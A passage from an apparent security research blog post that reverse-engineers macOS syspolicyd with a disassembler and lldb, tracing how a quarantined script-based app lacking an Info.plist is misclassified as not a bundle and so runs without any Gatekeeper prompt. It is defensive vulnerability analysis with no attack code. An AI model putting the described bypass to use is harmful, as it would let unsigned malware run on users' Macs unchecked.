5\r\n 6 //init process path from arg4\r\n 7 path = [NSString stringWithUTF8String:arg4];\r\n 8\r\n 9 //init responsible process path from arg6\r\n10 rpPath = [NSString stringWithUTF8String:arg6];\r\n11\r\n12 //init parent process path from arg5\r\n13 pPath = [NSString stringWithUTF8String:arg5];\r\n14\r\n15 //grab a 'globalManager'\r\n16 execManger = [ExecManagerService globalManager];\r\n17\r\n18 //log dbg msg\r\n19 if (os_log_type_enabled(rax, 0x1) != 0x0) {\r\n20 ...\r\n21 os_log_impl(__mh_execute_header, rbx, 0x1, \"Script evaluation: %@, %@\", \u0026var_50, 0x16);\r\n22 }\r\n23\r\n24 //alloc/init ProcessTarget object w/ path to responsible process\r\n25 processTarget = [ProcessTarget alloc];\r\n26 rProcess = [processTarget initWithPath:rpPath withAuditToken:rcx];\r\n27\r\n28 //perform the evaluation\r\n29 [execManger gatekeeperEvaluationForUser:arg2 withPID:arg3 withProcessPath:path\r\n30 withParentProcessPath:pPath withResponsibleProcess:rProcess withLibraryPath:0x0\r\n31 processIsScript:0x1 forEvaluationID:var_70];\r\n32\r\n33 ...\r\n34\r\n35 return;\r\n36}\r\nVia static analysis of this subroutine (which takes eight arguments!), we can gain a fairly comprehensive insight\r\ninto its actions.\r\nFirst, it converts various arguments (that have been passed in a NULL-terminated ‘C’-strings) into Objective-C\r\nNSString s. Then retrieves an ExecManagerService class’s globalManager . After checking if logging is\r\nenabled (and if so logging the aforementioned \"Script evaluation\" message), it allocates an instance of a\r\nProcessTarget class.\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 24 of 57\n\nIt then initializes this ProcessTarget object via a call to its initWithPath: withAuditToken method. Finally the\r\nsubroutine invokes the ExecManagerService gatekeeperEvaluationForUser: withPID: withProcessPath:\r\nwithParentProcessPath: withResponsibleProcess: withLibraryPath: processIsScript: forEvaluationID:\r\nmethod.\r\nThanks to the verbose method name, we can rather quickly determine the meaning of the arguments passed to the\r\nsubroutine. For example, withPID:arg3 implies the fourth argument ( arg3 ) is a pid of the process to evaluate.\r\nAlso note that several values passed to the gatekeeperEvaluationForUser: withPID: ... method are hardcoded,\r\nmost notably, processIsScript is set to 0x1 . This of course makes sense, as the evaluation is on a script-based\r\napplication.\r\nThough we have a decent understanding of this subroutine (and its arguments), let’s double check our conclusions\r\nvia a dynamic debugging session.\r\nIf one wants to debug Apple processes such as syspolicyd, System Integrity Protection (SIP), must be disabled in\r\nsome manner.\r\nInterestingly (and at this point I have no idea why), if one fully disables SIP, the bug will no longer manifest!?\r\nThat is to say, with SIP fully disabled, running the proof of concept application will result in an alert, identifying it\r\nas untrusted code from the Internet. Ironic!\r\nFor analysis reasons this is not ideal, as we’re trying to track down why (with SIP enabled) the unsigned PoC is\r\nallowed. The solution is to leave SIP mostly enabled, but simply allow debugging. This can achieved by executing\r\ncsrutil enable --without debug in Recovery Mode:\r\n% csrutil status\r\nSystem Integrity Protection status: unknown (Custom Configuration).\r\nConfiguration:\r\n Kext Signing: enabled\r\n Filesystem Protections: enabled\r\n Debugging Restrictions: disabled\r\n ...\r\nThis is an unsupported configuration, likely to break in the future and leave your machine in an unkn\r\nNote that as macOS 11’s csrutil appears broken, one must side-install macOS 10.15. Then boot into its recovery\r\nmode, run its csrutil to set the SIP flags. On Intel-based Macs this will be applied to any/all installed OS. Not so\r\non M1 systems.\r\nOnce SIP has been configured to allow for the debugging of Apple processes, let’s attach to syspolicyd , set a\r\nbreakpoint on the (unnamed) subroutine, then launch our quarantined PoC.app\r\n% !ps\r\nps aux | grep syspolicyd\r\nroot 138 /usr/libexec/syspolicyd\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 25 of 57\n\n% sudo lldb -p 138\r\n(lldb) process attach --pid 138\r\nProcess 138 stopped\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP\r\nExecutable module set to \"/usr/libexec/syspolicyd\".\r\nArchitecture set to: x86_64h-apple-macosx-.\r\n(lldb) image list\r\n[ 0] 818DB070-4938-3106-9784-559DA9C41D40 0x0000000100860000 /usr/libexec/syspolicyd\r\nNote that the syspolicyd image has been rebased to 0x0000000100860000 (due to ASLR). Thus, we similarly\r\nrebase our static analysis image in our disassembler (so that memory address match, etc.):\r\nRebasing syspolicyd\r\nNow, we set a breakpoint on the (unnamed) subroutine where the script evaluation begins:\r\n(lldb) b 0x000000010088a068\r\nBreakpoint 1: where = syspolicyd`___lldb_unnamed_symbol611$$syspolicyd, address = 0x000000010088a068\r\nLaunching the proof of concept application, triggers the breakpoint, allowing us (amongst other things) to view\r\nthe contents of the arguments. From our static analysis we determined that the third argument was the user’s id,\r\nthe fourth the pid of the process to evaluate, the fifth its path, the sixth the parent’s process path, etc etc. Let’s\r\nview these now (noting arrangements in Intel x86_64 environments are passed in the following order, RDI ,\r\nRSI , RDX , RCX , R8 , R9 , and then on the stack):\r\n(lldb) p (int)$rdx\r\n(int) $24 = 501\r\n(lldb) p (int)$rcx\r\n(int) $25 = 27038\r\n(lldb) x/s $r8\r\n0x70001018c6f8: \"/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC\"\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 26 of 57\n\n(lldb) x/s $r9\r\n0x70001018c734: \"/bin/sh\"\r\nEverything matches what we expect, though let’s confirm the fourth argument (the pid, in RCX ) with a value of\r\n27038 is indeed the pid of process set to be evaluated:\r\n% ps -p 27038\r\nPID CMD\r\n27038 /bin/sh /private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/T/AppTranslocation/743C3DB6-64D7\r\nTurns out that 27038 is an instance of a the shell ( /bin/sh ) set to run our proof of concept script:\r\nPoC.app/Contents/MacOS/PoC . This makes sense, as scripts (unlike say a compiled mach-O binary) of course can\r\nnot be run natively. They need an interpreter process, such as /bin/sh .\r\nIt’s worth reiterating that the process ( 27038 : /bin/sh ) though created is held in a suspended state until the\r\nevaluation has completed. (And if the system finds it violates a policy such as being unnotarized or running a\r\nquarantined script from an unnotarized bundle, it is killed without ever having been run …unless of course there is\r\na vulnerability!).\r\nAlso, note the “strange” path to our script-based PoC application. Known as App Translocation, this security\r\nmechanism transparently relocates (copies) any downloaded (i.e. quarantined) content the first time it is launched\r\nby the user. This action is to mitigate a Gatekeeper bypass I discovered in 2016, that leveraged dylib hijacking in\r\norder to allow unsigned code to run. Though the vulnerability discussed in this post is not related to App\r\nTranslocation, it’s important to at least understand why the location of our PoC has changed.\r\nOk onwards! Let’s continue on with our debugging, stopping at the call to the gatekeeperEvaluationForUser:\r\nwithPID: method to examine the arguments.\r\n(lldb) Process 138 stopped\r\nsyspolicyd`___lldb_unnamed_symbol611$$syspolicyd:\r\n-\u003e 0x10088a223 \u003c+443\u003e: callq *%rax\r\n(lldb) po $rdi\r\n\u003cExecManagerService: 0x7fdb5e733150\u003e\r\n(lldb) po [$rdi className]\r\nExecManagerService\r\n(lldb) x/s $rsi\r\n0x7fff7e1df01d: \"gatekeeperEvaluationForUser:withPID:withProcessPath:withParentProcessPath:withRespon\r\n(lldb) p (int)$rdx\r\n(int) $34 = 501\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 27 of 57\n\n(lldb) p (int)$rcx\r\n(int) $35 = 27038\r\n(lldb) po $r8\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC\r\n(lldb) po $r9\r\n/bin/sh\r\n(lldb) x/gx $rsp\r\n0x70001018c570: 0x00007fdb6312cf20\r\n(lldb) po 0x00007fdb6312cf20\r\nFirst we print out the object in the first argument, which is the Objective-C object upon which the method is being\r\ninvoked. It’s the globalManager (class: ExecManagerService ) created by the subroutine. The second argument\r\nholds the method name, gatekeeperEvaluationForUser:withPID: ... . The remaining arguments include the\r\nuser id ( uid ), the pid of the (suspended) process, the path to the item to evaluate (our PoC script-based app),\r\npath of the parent process, then an instance of a ProcessTarget class, which represents the responsible process.\r\nThis argument is passed via the stack (as all the registers that are used for a method call have already been used).\r\nSpecifically it can be found at $rsp + 0x0, with a value of 0x00007fdb6312cf20 . This is a pointer to an Objective-C ( ProcessTarget ) object, meaning we can introspect it, including accessing its pid and path:\r\n(lldb) p (int)[0x00007fdb6312cf20 pid]\r\n(int) $51 = 27038\r\n(lldb) po [0x00007fdb6312cf20 path]\r\n/bin/sh\r\nTurns out this responsible process, is also the parent process ( /bin/sh , pid 27038 ).\r\nSo far nothing too surprising or strange. We’ve simply confirmed the fact that the syspolicyd daemon is about\r\nto evaluate our script-based PoC app, as it’s executed via the shell ( /bin/sh ).\r\nLet’s now turn our attention to the gatekeeperEvaluationForUser:withPID:withProcessPath: method. A brief\r\ntriage of a decompilation of this method, reveals it simply makes a dispatch_async call, to execute a block,\r\nallowing a background queue to asynchronously perform the evaluation. The block invokes the\r\nExecManagerPolicy ’s\r\nevaluateCodeForUser:withPID:withProcessPath:withParentProcessPath:withResponsibleProcess:\r\nwithLibraryPath:processIsScript:withCompletionCallback: method. It passes along the arguments we’ve\r\nalready described (along with a callback block that will be invoked once the evaluation has completed).\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 28 of 57\n\nThis method first allocates an object of EvaluationResult and set its allowed instance variable to false (0x0):\r\n1evalReesult = objc_alloc_init(@class(EvaluationResult));\r\n2[evalReesult setAllowed:0x0];\r\n…wise, explicitly default any evaluation to not allowed.\r\nIt then prints out a log message we saw earlier: GK process assessment:\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC \u003c-- (/bin/sh, /bin/sh)\r\nBy analyzing the values passed to the log message’s format string, GK process assessment: %@ \u003c-- (%@, %@) ,\r\nwe know this message prints out the process (or script) to evaluate, along with its parent and responsible processes\r\n(which in this case are the same, /bin/sh ).\r\nAfter checking that the process (or script) to evaluate is an accessible file, the code invokes an unnamed\r\nsubroutine which takes the path to the evaluatee (e.g. PoC.app/Contents/MacOS/PoC ), and returns a boolean\r\nvalue. More on this later, but this value is then stored in an instance variable named isBundle , so safe to assume\r\nit contains logic related to determining if an item falls within an (application?) bundle …🤔\r\nNext the method allocates an object of type PolicyScanTarget and initializes it with the path of the item to\r\nevaluate (e.g. PoC.app/Contents/MacOS/PoC ). It then sets various instance variables in this newly allocated\r\nobject:\r\n1policyScanTarget = [[PolicyScanTarget alloc] initWithURL:evaluatee];\r\n2\r\n3[policyScanTarget setTriggeredByLibraryLoad:var_51];\r\n4[policyScanTarget setIsScript:sign_extend_64(var_24)];\r\n5[policyScanTarget setIsBundled:var_6C \u0026 0xff];\r\n6[policyScanTarget setPid:var_98];\r\nRecall that (several method calls back), gatekeeperEvaluationForUser was invoked with\r\nwithLibraryPath:0x0 and processIsScript:0x1 . These (hardcoded) values were passed in as parameters and\r\nare passed to the PolicyScanTarget ’s object’s setTriggeredByLibraryLoad and setIsScript setter methods.\r\nSimilarly, the setPid method is invoked with the passed in process id. The setIsBundled is notable, as its\r\nparameter ( var_6C ), is a boolean, returned from the aforementioned unnamed subroutine that was called a few\r\ninstructions earlier.\r\nIn a debugger, once we’ve stepped over the PolicyScanTarget method, we can print it out. Specifically we can\r\ninvoke any of its accessor methods to reveal the contents of initialized instance variables. And how do we know\r\nthe names of these accessor methods? The easiest way is simply via the disassembler (which can parse Objective-C objects and extract this information):\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 29 of 57\n\nPolicyScanTarget's methods\r\nSo for example we confirm the facts that the “url” points to our PoC script, the isScript is set to true (0x1), and\r\nalso introspect the value of the isBundled instance variable. Note that in the debugger output the address\r\n0x00007fdb5e706a40 is the PolicyScanTarget object:\r\n(lldb) po [0x00007fdb5e706a40 className]\r\nPolicyScanTarget\r\n(lldb) po [0x00007fdb5e706a40 url]\r\nfile:///Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC\r\n(lldb) p (BOOL)[0x00007fdb5e706a40 isScript]\r\n(BOOL) $73 = YES\r\n(lldb) p (BOOL)[0x00007fdb5e706a40 triggeredByLibraryLoad]\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 30 of 57\n\n(BOOL) $74 = NO\r\n(lldb) p (BOOL)[0x00007fdb5e706a40 isBundled]\r\n(BOOL) $72 = NO\r\nThe evaluateCodeForUser:withPID: ... method then creates another PolicyScanTarget , this time for the\r\nparent process, though it’s solely initialized with the parent processes path (e.g. /bin/sh ) …no other instance\r\nvariables are initialized.\r\nFinally the EvaluationManager ’s evaluateTarget: withParentTarget: withResponsibleProcess: forUser:\r\nonCompletion: is invoked. The evaluateTarget is set to the PolicyScanTarget object for our evaluee, while\r\nthe withParentTarget is set to the PolicyScanTarget object that was created for the parent process. The other\r\nparameters are simply set to values passed into the evaluateCodeForUser:withPID: ... method.\r\n(lldb) Process 138 stopped\r\n* thread #30, queue = 'syspolicy.executions.evaluations', stop reason = instruction step over\r\n frame #0: 0x000000010087cab0 syspolicyd`___lldb_unnamed_symbol447$$syspolicyd + 1854\r\nsyspolicyd`___lldb_unnamed_symbol447$$syspolicyd:\r\n-\u003e 0x10087cab0 \u003c+1854\u003e: callq *0x838ea(%rip) ; (void *)0x00007fff20298d00: objc_msgSend\r\n 0x10087cab6 \u003c+1860\u003e: movq 0x838eb(%rip), %r13 ; (void *)0x00007fff2029a9a0: objc_release\r\n 0x10087cabd \u003c+1867\u003e: movq %r14, %rdi\r\n 0x10087cac0 \u003c+1870\u003e: callq *%r13\r\nTarget 0: (syspolicyd) stopped.\r\n(lldb) po $rdi\r\n\u003cEvaluationManager: 0x7fdb5e40d0c0:\u003e\r\n(lldb) x/s $rsi\r\n0x7fff7e1dde2b: \"evaluateTarget:withParentTarget:withResponsibleProcess:forUser:onCompletion:\"\r\n(lldb) po $rdx\r\nPST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)), (bund\r\n(lldb) po $rcx\r\nPST: (path: /bin/sh), (team: (null)), (id: (null)), (bundle_id: (null))\r\nThe evaluateTarget: withParentTarget: ... method calls down into various methods which eventually\r\ninvokes the EvaluationManager ’s scanTarget:onCompletion: method. This method queues up a scan, via a\r\nblock that calls into the EvaluationManager s performScan: withProgressHandler: withCodeEvaluation:\r\nThe performScan: withProgressHandler: withCodeEvaluation: is important as it (finally!) calls into the policy\r\nengine ( PolicyScanner ) scan methods (such as scanTarget: ... method), but more importantly contains the\r\nGK scan complete: log message. This indicates that the evaluation is finally complete!\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 31 of 57\n\nReady to dive into the internals of the policy engine? Yah, me neither …and turns out we don’t have to!\r\nFrom our initial log spelunking (between a normal application, a normal script-based application, and our PoC),\r\nrecall that the only (main) difference was in a single value found within the GK evaluateScanResult: message.\r\nFor the applications that triggered an alert this value was a 0, while for our PoC (that generated no alerts and was\r\nincorrectly allowed to run), it was a 2. All other policy related log message (e.g. notarization checks, etc) were the\r\nsame.\r\nAt this point during my analysis, with a thorough understanding of at least the evaluation setup (and relevant\r\nclasses such as EvaluationManager , PolicyScanTarget and EvaluationResult ), I decided to skip diving into\r\nthe internals of the policy engine and instead work backwards from the GK evaluateScanResult: message. The\r\nidea was to see if I could figure out why the proof of concept application was assigned a 2 …as this seemed to be\r\nthe only differentiator, and perhaps why it was allowed (vs. blocked).\r\nThe GK evaluateScanResult: message in the EvaluationManager ’s is logged in the aptly named\r\nevaluateScanResult: withEvaluationArguments: withPolicy: withEvaluationType: withCodeEval: method.\r\nSetting a breakpoint here, we can see it’s invoked after an evaluation has completed, and contains the results of the\r\nscan, scan arguments (which includes the PolicyScanner object of the evaluee …our PoC script), and an\r\nevaluation type:\r\n(lldb) c\r\nProcess 138 resuming\r\nProcess 138 stopped\r\n* thread #44, queue = 'syspolicyd.evaluations.completion', stop reason = breakpoint 8.1\r\n frame #0: 0x00000001008af4ca syspolicyd`___lldb_unnamed_symbol1234$$syspolicyd\r\n(lldb) po $rdi\r\n\u003cEvaluationManager: 0x7fdb5e40d0c0\u003e\r\n(lldb) x/s $rsi\r\n0x7fff7e1e025e: \"evaluateScanResult:withEvaluationArguments:withPolicy:withEvaluationType:withCodeEva\r\n(lldb) po [$rdx className]\r\nScanResult\r\n(lldb) po $rdx\r\nScanResult: 1,0,0,0 - 0,7,0x0\r\n(lldb) po [$rcx className]\r\nEvaluationArguments\r\n(lldb) po $rcx\r\nEvalArgs: PST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (nul\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 32 of 57\n\n(lldb) po $r8\r\n\u003cnil\u003e\r\n(lldb) po $r9\r\n2\r\nNow recall an example of the GK evaluateScanResult: ... log message:\r\nGK evaluateScanResult: 2, PST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id\r\nLooking at the code that prints out this message, provides valuable insight into the components of the message:\r\n 1if (os_log_type_enabled(rax, 0x0) != 0x0) {\r\n 2 var_B0 = [var_A0 isQuarantined];\r\n 3 var_B8 = [var_A0 isUserApproved];\r\n 4 var_F0 = [r13 success];\r\n 5 rbx = [r13 isBypass];\r\n 6 r14 = [r13 policyMatch];\r\n 7 rax = [r13 xpResult];\r\n 8 var_70 = 0x8000802;\r\n 9 *(\u0026var_70 + 0x4) = var_D8;\r\n10 *(int16_t *)(\u0026var_70 + 0xc) = 0x840;\r\n11 *(\u0026var_70 + 0xe) = var_A0;\r\n12 *(int16_t *)(\u0026var_70 + 0x16) = 0x400;\r\n13 *(int32_t *)(\u0026var_70 + 0x18) = sign_extend_64(var_B0);\r\n14 *(int16_t *)(\u0026var_70 + 0x1c) = 0x400;\r\n15 *(int32_t *)(\u0026var_70 + 0x1e) = sign_extend_64(var_B8);\r\n16 *(int16_t *)(\u0026var_70 + 0x22) = 0x400;\r\n17 *(int32_t *)(\u0026var_70 + 0x24) = sign_extend_64(var_F0);\r\n18 *(int16_t *)(\u0026var_70 + 0x28) = 0x400;\r\n19 *(int32_t *)(\u0026var_70 + 0x2a) = sign_extend_64(rbx);\r\n20 *(int16_t *)(\u0026var_70 + 0x2e) = 0x800;\r\n21 *(\u0026var_70 + 0x30) = r14;\r\n22 *(int16_t *)(\u0026var_70 + 0x38) = 0x400;\r\n23 *(int32_t *)(\u0026var_70 + 0x3a) = rax;\r\n24 rax = os_log_impl(__mh_execute_header, r15, 0x0, \"GK evaluateScanResult: %lu, %@, %d, %d, %d, %d, %lu, %d\",\r\n25}\r\nFrom this, we can see the format string, %lu, %@, %d, %d, %d, %d, %lu, %d , will be populated with values such\r\nas a PolicyScanTarget (that was initialized to represent the evaluee, our PoC), whether the evaluee was\r\nquarantined (it was), was user approved (it was not), whether the evaluation completed successfully (it did),\r\nwhether the evaluee was afforded a bypass (it was not), the results of an XProtect classification (7, unsigned\r\ncode), and if it matched a policy (it did not).\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 33 of 57\n\nAgain to reiterate, the values in the log message (as a result of evaluating our allowed PoC) except for the first,\r\nexactly matched a log message when scanning the normal script-based application, Script.app which was\r\nblocked. So this implies they are likely irrelevant, or spurious in terms of tracking down the underlying reason\r\nwhy our unsigned, quarantined PoC was allowed.\r\nSo, what’s the first value printed out (2 in the case of evaluating our PoC, 0 for the other application that were\r\nultimated blocked). Turns out it was passed in to the evaluateScanResult: method as the value for the\r\nwithEvaluationType: parameter (arg5, in R9 ):\r\n(lldb) po $r9\r\n2\r\nThus we (now) know it represents an “evaluation type”.\r\nBefore we see how this value, the evaluation type, influences control flow and ultimately determines whether or\r\nnot the evaluee should be allowed, let’s keep working backwards to see where it came from, and why it’s set to\r\n0x2 (vs. 0x0).\r\nAn unnamed subroutine is responsible for calling the evaluateScanResult: ... withEvaluationType: method.\r\nIt invokes this method with the return value from a EvaluationPolicy method called\r\ndetermineGatekeeperEvaluationTypeForTarget :\r\n1 ...\r\n2 type = [r15 determineGatekeeperEvaluationTypeForTarget:r12 withResponsibleTarget:rax];\r\n3\r\n4 ...\r\n5\r\n6 [[rdi evaluateScanResult:rdx withEvaluationArguments:rcx withPolicy:r8 withEvaluationType:type ...];\r\nThe determineGatekeeperEvaluationTypeForTarget: method is invoked with the PolicyScanTarget object\r\nrepresenting our evaluee and a ProcessTarget representing the responsible process (e.g. /bin/sh ).\r\nThe method contains various checks upon the item represented in the PolicyScanTarget object. For example it\r\nfirst checks if the item is quarantined. If not, it simply returns. Obviously non-quarantined items can safely be\r\nallowed.\r\n1 rax = [policyScanTarget isQuarantined];\r\n2 ...\r\n3\r\n4 r15 = 0x2;\r\n5 if (rax == 0x0) goto leave;\r\n6\r\n7leave:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 34 of 57\n\n8 rax = r15;\r\n9 return rax;\r\nInterestingly the return value is also 0x2. However, we know that our PoC was quarantined (and in a debugger, we\r\ncan confirm this code path is not taken). So, onwards!\r\nHowever, we then come across the following logic:\r\n 1 if ([policyScanTarget isUserApproved] == 0x0)\r\n 2 {\r\n 3 if ([policyScanTarget isScript] == 0x0) goto continue;\r\n 4\r\n 5 r15 = 0x2;\r\n 6 if ([policyScanTarget isBundled] == 0x0) goto leave;\r\n 7\r\n 8 }\r\n 9\r\n10 ...\r\n11\r\n12leave:\r\n13 rax = r15;\r\n14 return rax;\r\nThis logic first checks if the PolicyScanTarget object representing our PoC has been user approved. As it has\r\nnot, we enter the if statement. It then checks and exits the if statement if the item is not a script. Since our\r\nPoC is a script, the isScript method returns a non-zero value, and thus execution continues with a call to\r\nisBundled .\r\n(lldb)\r\nProcess 138 stopped\r\n-\u003e 0x1008b78b2 \u003c+208\u003e: callq *0x48ae8(%rip) ; objc_msgSend\r\n \r\n(lldb) po $rdi\r\nPST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)), (bund\r\n(lldb) x/s $rsi\r\n0x7fff7e1e046e: \"isBundled\"\r\n(lldb) p (BOOL)[$rdi isBundled]\r\n(BOOL) $1 = NO\r\nThe isBundled simply returns the value of the bundled instance variable of the PolicyScanTarget object. As\r\nit is not set isBundled returns zero, which (as shown above, well, and below) causes the\r\ndetermineGatekeeperEvaluationTypeForTarget: method to leave, returning with a 0x2:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 35 of 57\n\n1 r15 = 0x2;\r\n2 if ([policyScanTarget isBundled] == 0x0) goto leave;\r\n3\r\n4leave:\r\n5 rax = r15;\r\n6 return rax;\r\n…as we saw an 0x2 was (also) returned for non-quarantined items (which are then allowed) …this seems\r\nproblematic!\r\nLet’s also run the normal script-based application ( Script.app , which we know gets blocked) and see that in its\r\ncase isBundled returns true, as shown in the debugger output below:\r\n(lldb)\r\nProcess 138 stopped\r\n-\u003e 0x1008b78b2 \u003c+208\u003e: callq *0x48ae8(%rip) ; objc_msgSend\r\n \r\n(lldb) po $rdi\r\nPST: (path: /Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: Script)\r\n(lldb) x/s $rsi\r\n0x7fff7e1e046e: \"isBundled\"\r\n(lldb) p (BOOL)[$rdi isBundled]\r\n(BOOL) $117 = YES\r\n…and thus for Script.app , the determineGatekeeperEvaluationTypeForTarget: eventually returns an\r\nevaluation type of 0x0 .\r\nHooray, we’ve now identified a problematic difference in macOS’s evaluation logic between our PoC (which is\r\nallowed), and a normal script-based application (which is blocked). The fact that macOS does not think our PoC is\r\n“bundled” (and returns a 0x2 for the evaluation type) is clearly a flaw. But why does it think that!?\r\nRecall that earlier we noted the bundled instance variable was set via the following code (from\r\nExecManagerPolicy ’s evaluateCodeForUser:withPID: ... method):\r\n 1rax = sub_10087606c(rbx, 0x0);\r\n 2if (rax != 0x0) {\r\n 3 var_6C = 0x1;\r\n 4}\r\n 5else {\r\n 6 ...\r\n 7 var_6C = 0x0;\r\n 8}\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 36 of 57\n\n9\r\n10[policyScanTarget setIsBundled:var_6C \u0026 0xff];\r\nThus it appears the unnamed subroutine is the culprit! We noted earlier that the subroutine is invoked with a path\r\nto the item to classify (as a bundle or not). As it’s evaluating our PoC, this path will be\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC . Recall (and this proves to be important), our\r\nPoC.app is a bare-boned application that does not contain an Info.plist file!\r\nThe subroutine’s first check is to see if the path contains a @\".\". If not, it simply returns 0.\r\n1if ([rax containsString:@\".\"] == 0x0) goto leave;\r\n2\r\n3leave:\r\n4 var_B8 = 0x0;\r\n5 rax = [var_B8 autorelease];\r\n6 return rax;\r\nThis makes sense, a (application) bundle will have to have a folder named something like foo.app .\r\nNext it splits the path into its components, which when analyzing our PoC application, will produce the following:\r\n(lldb) po $rax\r\n\u003c__NSArrayM 0x7fc2a2d2d990\u003e(\r\n/,\r\nUsers,\r\npatrick,\r\nDownloads,\r\nPoC.app,\r\nContents,\r\nMacOS,\r\nPoC\r\n)\r\nIf there are no path components, it returns with 0x0. So far (still), so good.\r\nIt then iterates over each path component, invoking the pathExtension upon it, and checking the result. For any\r\n“non-bundle” directories (that have no path components), it will just move on to the next. Once it comes across\r\nthe bundle directory (e.g. PoC.app ) the pathExtension will return a non-nil value (e.g. app ). The code\r\ncontinues then by splitting the (original) path again into components again, and creating array with only those\r\ncomponents up and to an including the bundle directory:\r\n(lldb) po $rax\r\n\u003c__NSArrayI_Transfer 0x7fc2a2d4b0c0\u003e(\r\n/,\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 37 of 57\n\nUsers,\r\npatrick,\r\nDownloads,\r\nPoC.app\r\n)\r\nThis is then joined back into a single path (e.g. /Users/patrick/Downloads/PoC.app/ ).\r\nThe code then calls into another subroutine, passing in potential (relative) locations for an Info.plist file. For\r\nexample Contents/Info.plist , Versions/Current/Resources/Info.plist , or Info.plist :\r\n1if ( ((sub_100015829(rbx, @\"Contents/Info.plist\") != 0x0) ||\r\n2 (sub_100015829(rbx, @\"Versions/Current/Resources/Info.plist\") != 0x0)) ||\r\n3 (sub_100015829(rbx, @\"Info.plist\") != 0x0)) goto isBundle;\r\nThis helper subroutine simply attempts to open such candidate files, and if found, checks for various keys\r\n(commonly found or required in an Info.plist file) such as CFBundleIdentifier , or CFBundleExecutable .\r\nAs our bare-bones PoC.app does not contain an Info.plist file, the code continues…\r\nNext it checks if the item is an “application wrapper”, by invoking the AppWrapper class’s isAppWrapper:\r\nmethod. This begins by appending the string Wrapper to the (potential) bundle directory. For our PoC this will be\r\n/Users/patrick/Downloads/PoC.app/Wrapper …it then checks if that file exists (which in the case of our PoC it\r\ndoes not).\r\nAs the isAppWrapper: method returns 0 (false), the code continues processing the remaining path components\r\n( Contents , MacOS , PoC ), seeing if any have a path extension, and if so, have a candidate Info.plist file or\r\nis an “App Wrapper”. As none do, the subroutine returns 0 (false), as according to it’s logic, our PoC.app (which\r\ndoes not have an Info.plist file) is not a bundle. Oops! 🥲\r\nNo bundle means isBundle is set to 0x0 (false), which means that the\r\ndetermineGatekeeperEvaluationTypeForTarget method returns with an 0x2! (vs. a 0x0).\r\nLet’s wrap this all up by looking at what it means if evaluation type of 0x2 is returned and then passed to the\r\n\"evaluateScanResult:withEvaluationArguments:withPolicy:withEvaluationType:withCodeEval:\" method.\r\nThe evaluateScanResult:withEvaluationArguments:withPolicy:withEvaluationType:withCodeEval: method is\r\nrather massive (having over 200 control flow blocks). Triaging its log message strings and names of methods it\r\ninvokes, we can see it is the arbiter, the final decision maker, on whether or not a prompt will be shown to the\r\nuser. For example:\r\n1if ([r14 presentPromptOfType:var_B0 options:var_C8 completion:rax] != 0x0) {\r\n2\r\n3 ...\r\n4 rax = os_log_impl(__mh_execute_header, rbx, 0x0,\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 38 of 57\n\n5 \"Prompt shown (%ld, %#lx), waiting for response: %@\", \u0026var_70, 0x20);\r\n6\r\n7 dispatch_semaphore_wait(*(var_1A0 + 0x28), 0xffffffffffffffff);\r\n8}\r\n…and then handling the user’s response to the alert, for example displaying the following message if the user\r\nclicks deny:\r\n1if (*(var_170 + 0x18) != 0x2) goto userBlocked;\r\n2\r\n3userBlocked:\r\n4if (os_log_type_enabled(rax, 0x0) != 0x0) {\r\n5 var_70 = 0x0;\r\n6 rax = _os_log_impl(__mh_execute_header, rbx, 0x0, \"Blocking executable due to user not allowing\", \u0026var_70, 0\r\n7}\r\nThe actual prompt is displayed by the CoreServicesUIAgent. Bidirectional communications between syspolicyd\r\nand this agent occur via XPC.\r\nIn the case of our proof of concept, no alert is shown. Hence such logic is apparently skipped! Let’s see how.\r\nThe evaluation type (set to the problematic value of 0x2, as the policy engine failed to correctly identify our PoC\r\napplication as a bundle) is passed in as the sixth argument ( withEvaluationType: ). The disassembly notes this is\r\nthen moved into a local variable (which we named evalType ). As we previously noted this first passed to the GK\r\nevaluateScanResult: %lu string, which for our PoC generated GK evaluateScanResult: 2, PST: (path:\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)), (bundle_id:\r\nNOT_A_BUNDLE), 1, 0, 1, 0, 7, 0\r\nThe first time it is explicitly checked is in an if statement, which specifically checks if it was set to 0x2:\r\n1if (evalType != 0x2) goto notTwo;\r\n…as the evalType for our proof of concept application was set to 0x2, we don’t take this jump, but continue on.\r\nNext, it checks if the evaluee matches known malware (via a call to a method named xProtectResultIsBlocked ).\r\nOf course our PoC does not, so onwards we go. Though there are several other checks, they all appear spurious,\r\nbut regardless all logic related to showing an alert or prompt to the user is skipped. This bears repeating! Normal\r\nsyspolicyd will send an XPC message to the CoreServicesUIAgent in order to alert the user that the\r\napplication is disallowed (for example if it s non-notarized), or even if signed and notarized a prompt requesting\r\nthat the user explicitly approve the application. Here, all such logic is skipped, and no prompts or alerts are thus\r\nshown!\r\nBefore the evaluateScanResult:withEvaluationArguments:withPolicy: methods 